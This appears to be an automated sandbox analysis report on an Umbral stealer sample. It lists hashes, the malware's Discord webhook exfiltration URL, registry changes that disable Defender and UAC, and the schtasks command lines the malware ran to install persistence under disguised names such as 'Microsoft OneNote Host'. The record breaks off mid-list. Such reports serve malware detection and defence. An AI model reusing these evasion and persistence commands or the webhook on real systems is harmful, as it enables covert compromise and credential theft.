umbral | 88cf131986bedc03a33d12ea5392ce09f521d40a056b8576a34ee613f36479e5

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
15-06-2024 14:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Client.exe
Size

328KB
MD5

0518135d19cbb497321df931809a30e8
SHA1

34981352c51a3e3b9031902cc3f733d252c12871
SHA256

88cf131986bedc03a33d12ea5392ce09f521d40a056b8576a34ee613f36479e5
SHA512

adfe6c11cf1af4a5b7af799c2e0d89a660f695149407b54449a3ff4b8186dd3fca3f508670aede4b0592942294ca96d156f2f681a2aaf11481c0711670a17fa2
SSDEEP

6144:P5QCJJfSBEmcHe6VlWT8b9uPUfMP0ftbi8J5HW5T:BQNEvHPVle8eaB/HW

Score

10^/10

umbral evasion execution persistence spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1250802209801768990/UT-yM703TnMgIG2q_IWqIrXHEZ99hyOELHLD6lrsVAgD9l11Of5HuA0IV9npCGc-mIfm

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/2516-191-0x0000000002340000-0x000000000234A000-memory.dmp	disable_win_def

Detect Umbral payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\x5drfucs.3zw.exe	family_umbral
behavioral1/memory/4872-256-0x0000023621100000-0x0000023621140000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\xdwdMicrosoft Azure DevOps.exe"	Client.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

Client.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Client.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	Client.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1584 powershell.exe
832 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

x5drfucs.3zw.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts x5drfucs.3zw.exe
Modifies AppInit DLL entries 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Client.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation Client.exe
Executes dropped EXE 1 IoCs

Processes:

x5drfucs.3zw.exe

pid process

4872 x5drfucs.3zw.exe

pid	process
1584	powershell.exe
832	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	x5drfucs.3zw.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Client.exe

pid	process
4872	x5drfucs.3zw.exe

Loads dropped DLL 62 IoCs

Processes:

WmiApSrv.exepowershell.exepowershell.exex5drfucs.3zw.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exewmic.exewmic.exepowershell.exewmic.exe

pid	process
744
3724	WmiApSrv.exe
3656
3636
2448
3452
3960
1096
1764
4484
3536
1212
5116
2200	powershell.exe
1364
516
4852
1972
832	powershell.exe
4872	x5drfucs.3zw.exe
3112
1708	wmic.exe
1080
808
1584	powershell.exe
1568
5004	powershell.exe
4708
316	powershell.exe
3852
912
2968	powershell.exe
4652
224	wmic.exe
1252
736	wmic.exe
3652
2532	wmic.exe
1972
832	powershell.exe
548
3056	wmic.exe
4612
5048
3240
4068
4708
4828
1736
4436
2240
4140
3568
3500
3884
3680
3596
2576
2728
3848
4276
1216

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Windows security modification 2 TTPs 1 IoCs
evasion trojan

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

Client.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" Client.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	Client.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe = "C:\\Users\\Admin\\AppData\\Local\\xdwdGreenshot.exe"	Client.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Client.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

62 discord.com
63 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

57 ip-api.com
Drops file in Windows directory 1 IoCs

Processes:

Client.exe

description ioc process

File created C:\Windows\xdwd.dll Client.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
62	discord.com
63	discord.com

flow	ioc
57	ip-api.com

description	ioc	process
File created	C:\Windows\xdwd.dll	Client.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 34 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
548	schtasks.exe
1104	schtasks.exe
3636	schtasks.exe
4832	schtasks.exe
3060	schtasks.exe
728	schtasks.exe
3652	schtasks.exe
4264	schtasks.exe
4808	schtasks.exe
3216	schtasks.exe
3312	schtasks.exe
4200	schtasks.exe
1320	schtasks.exe
4984	schtasks.exe
3568	schtasks.exe
4244	schtasks.exe
1796	schtasks.exe
3240	schtasks.exe
2464	schtasks.exe
5024	schtasks.exe
2012	schtasks.exe
1700	schtasks.exe
1908	schtasks.exe
4468	schtasks.exe
804	schtasks.exe
744	schtasks.exe
3040	schtasks.exe
2484	schtasks.exe
4356	schtasks.exe
1252	schtasks.exe
4100	schtasks.exe
4412	schtasks.exe
1524	schtasks.exe
4928	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

3056 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5000 PING.EXE

pid	process
3056	wmic.exe

pid	process
5000	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exeClient.exeWmiApSrv.exe

pid	process
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
2516	Client.exe
3724	WmiApSrv.exe
3724	WmiApSrv.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Client.exetaskmgr.exepowershell.exepowershell.exex5drfucs.3zw.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2516	Client.exe
Token: SeDebugPrivilege	2228	taskmgr.exe
Token: SeSystemProfilePrivilege	2228	taskmgr.exe
Token: SeCreateGlobalPrivilege	2228	taskmgr.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	4872	x5drfucs.3zw.exe
Token: SeIncreaseQuotaPrivilege	1708	wmic.exe
Token: SeSecurityPrivilege	1708	wmic.exe
Token: SeTakeOwnershipPrivilege	1708	wmic.exe
Token: SeLoadDriverPrivilege	1708	wmic.exe
Token: SeSystemProfilePrivilege	1708	wmic.exe
Token: SeSystemtimePrivilege	1708	wmic.exe
Token: SeProfSingleProcessPrivilege	1708	wmic.exe
Token: SeIncBasePriorityPrivilege	1708	wmic.exe
Token: SeCreatePagefilePrivilege	1708	wmic.exe
Token: SeBackupPrivilege	1708	wmic.exe
Token: SeRestorePrivilege	1708	wmic.exe
Token: SeShutdownPrivilege	1708	wmic.exe
Token: SeDebugPrivilege	1708	wmic.exe
Token: SeSystemEnvironmentPrivilege	1708	wmic.exe
Token: SeRemoteShutdownPrivilege	1708	wmic.exe
Token: SeUndockPrivilege	1708	wmic.exe
Token: SeManageVolumePrivilege	1708	wmic.exe
Token: 33	1708	wmic.exe
Token: 34	1708	wmic.exe
Token: 35	1708	wmic.exe
Token: 36	1708	wmic.exe
Token: SeIncreaseQuotaPrivilege	1708	wmic.exe
Token: SeSecurityPrivilege	1708	wmic.exe
Token: SeTakeOwnershipPrivilege	1708	wmic.exe
Token: SeLoadDriverPrivilege	1708	wmic.exe
Token: SeSystemProfilePrivilege	1708	wmic.exe
Token: SeSystemtimePrivilege	1708	wmic.exe
Token: SeProfSingleProcessPrivilege	1708	wmic.exe
Token: SeIncBasePriorityPrivilege	1708	wmic.exe
Token: SeCreatePagefilePrivilege	1708	wmic.exe
Token: SeBackupPrivilege	1708	wmic.exe
Token: SeRestorePrivilege	1708	wmic.exe
Token: SeShutdownPrivilege	1708	wmic.exe
Token: SeDebugPrivilege	1708	wmic.exe
Token: SeSystemEnvironmentPrivilege	1708	wmic.exe
Token: SeRemoteShutdownPrivilege	1708	wmic.exe
Token: SeUndockPrivilege	1708	wmic.exe
Token: SeManageVolumePrivilege	1708	wmic.exe
Token: 33	1708	wmic.exe
Token: 34	1708	wmic.exe
Token: 35	1708	wmic.exe
Token: 36	1708	wmic.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	316	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeIncreaseQuotaPrivilege	224	wmic.exe
Token: SeSecurityPrivilege	224	wmic.exe
Token: SeTakeOwnershipPrivilege	224	wmic.exe
Token: SeLoadDriverPrivilege	224	wmic.exe
Token: SeSystemProfilePrivilege	224	wmic.exe
Token: SeSystemtimePrivilege	224	wmic.exe
Token: SeProfSingleProcessPrivilege	224	wmic.exe
Token: SeIncBasePriorityPrivilege	224	wmic.exe
Token: SeCreatePagefilePrivilege	224	wmic.exe
Token: SeBackupPrivilege	224	wmic.exe
Token: SeRestorePrivilege	224	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe
2228	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Client.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.exeCMD.execmd.exepowershell.exe

description	pid	process	target process
PID 2516 wrote to memory of 3172	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 3172	2516	Client.exe	CMD.exe
PID 3172 wrote to memory of 4808	3172	CMD.exe	schtasks.exe
PID 3172 wrote to memory of 4808	3172	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 1064	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 1064	2516	Client.exe	CMD.exe
PID 1064 wrote to memory of 3652	1064	CMD.exe	schtasks.exe
PID 1064 wrote to memory of 3652	1064	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 2668	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 2668	2516	Client.exe	CMD.exe
PID 2668 wrote to memory of 4200	2668	CMD.exe	schtasks.exe
PID 2668 wrote to memory of 4200	2668	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 2344	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 2344	2516	Client.exe	CMD.exe
PID 2344 wrote to memory of 548	2344	CMD.exe	schtasks.exe
PID 2344 wrote to memory of 548	2344	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 3428	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 3428	2516	Client.exe	CMD.exe
PID 3428 wrote to memory of 3240	3428	CMD.exe	schtasks.exe
PID 3428 wrote to memory of 3240	3428	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 4720	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 4720	2516	Client.exe	CMD.exe
PID 4720 wrote to memory of 2464	4720	CMD.exe	schtasks.exe
PID 4720 wrote to memory of 2464	4720	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 5024	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 5024	2516	Client.exe	CMD.exe
PID 5024 wrote to memory of 1104	5024	CMD.exe	schtasks.exe
PID 5024 wrote to memory of 1104	5024	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 3196	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 3196	2516	Client.exe	CMD.exe
PID 3196 wrote to memory of 3216	3196	CMD.exe	schtasks.exe
PID 3196 wrote to memory of 3216	3196	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 2012	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 2012	2516	Client.exe	CMD.exe
PID 2012 wrote to memory of 1252	2012	CMD.exe	schtasks.exe
PID 2012 wrote to memory of 1252	2012	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 3528	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 3528	2516	Client.exe	CMD.exe
PID 3528 wrote to memory of 744	3528	CMD.exe	schtasks.exe
PID 3528 wrote to memory of 744	3528	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 1908	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 1908	2516	Client.exe	CMD.exe
PID 1908 wrote to memory of 3636	1908	CMD.exe	schtasks.exe
PID 1908 wrote to memory of 3636	1908	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 3672	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 3672	2516	Client.exe	CMD.exe
PID 3672 wrote to memory of 4264	3672	CMD.exe	schtasks.exe
PID 3672 wrote to memory of 4264	3672	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 2200	2516	Client.exe	powershell.exe
PID 2516 wrote to memory of 2200	2516	Client.exe	powershell.exe
PID 2516 wrote to memory of 4068	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 4068	2516	Client.exe	CMD.exe
PID 4068 wrote to memory of 3040	4068	CMD.exe	schtasks.exe
PID 4068 wrote to memory of 3040	4068	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 4624	2516	Client.exe	CMD.exe
PID 2516 wrote to memory of 4624	2516	Client.exe	CMD.exe
PID 4624 wrote to memory of 1320	4624	CMD.exe	schtasks.exe
PID 4624 wrote to memory of 1320	4624	CMD.exe	schtasks.exe
PID 2516 wrote to memory of 4560	2516	Client.exe	cmd.exe
PID 2516 wrote to memory of 4560	2516	Client.exe	cmd.exe
PID 4560 wrote to memory of 832	4560	cmd.exe	powershell.exe
PID 4560 wrote to memory of 832	4560	cmd.exe	powershell.exe
PID 832 wrote to memory of 4872	832	powershell.exe	x5drfucs.3zw.exe
PID 832 wrote to memory of 4872	832	powershell.exe	x5drfucs.3zw.exe

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Client.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

892 attrib.exe

pid	process
892	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Checks computer location settings
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2516

C:\Windows\SYSTEM32\CMD.exe
"CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Teams Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\system32\schtasks.exe
SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Teams Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe"
3⤵
- Creates scheduled task(s)
PID:4808

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3652

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "OBS Studio" /tr "C:\Users\Admin\AppData\Local\xdwdGreenshot.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2668

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo 5 /tn "OBS Studio" /tr "C:\Users\Admin\AppData\Local\xdwdGreenshot.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:4200

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:548

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3428

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3240

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:4720

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:2464

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:5024

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1104

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3196

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:3216

C:\Windows\SYSTEM32\CMD.exe
"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo -1 /tn "Microsoft OneNote Host" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xdwdMicrosoft Azure DevOps.exe" /RL HIGHEST
3⤵
- Creates scheduled task(s)
PID:1252

C:\Windows\SYSTEM32\CMD.exe
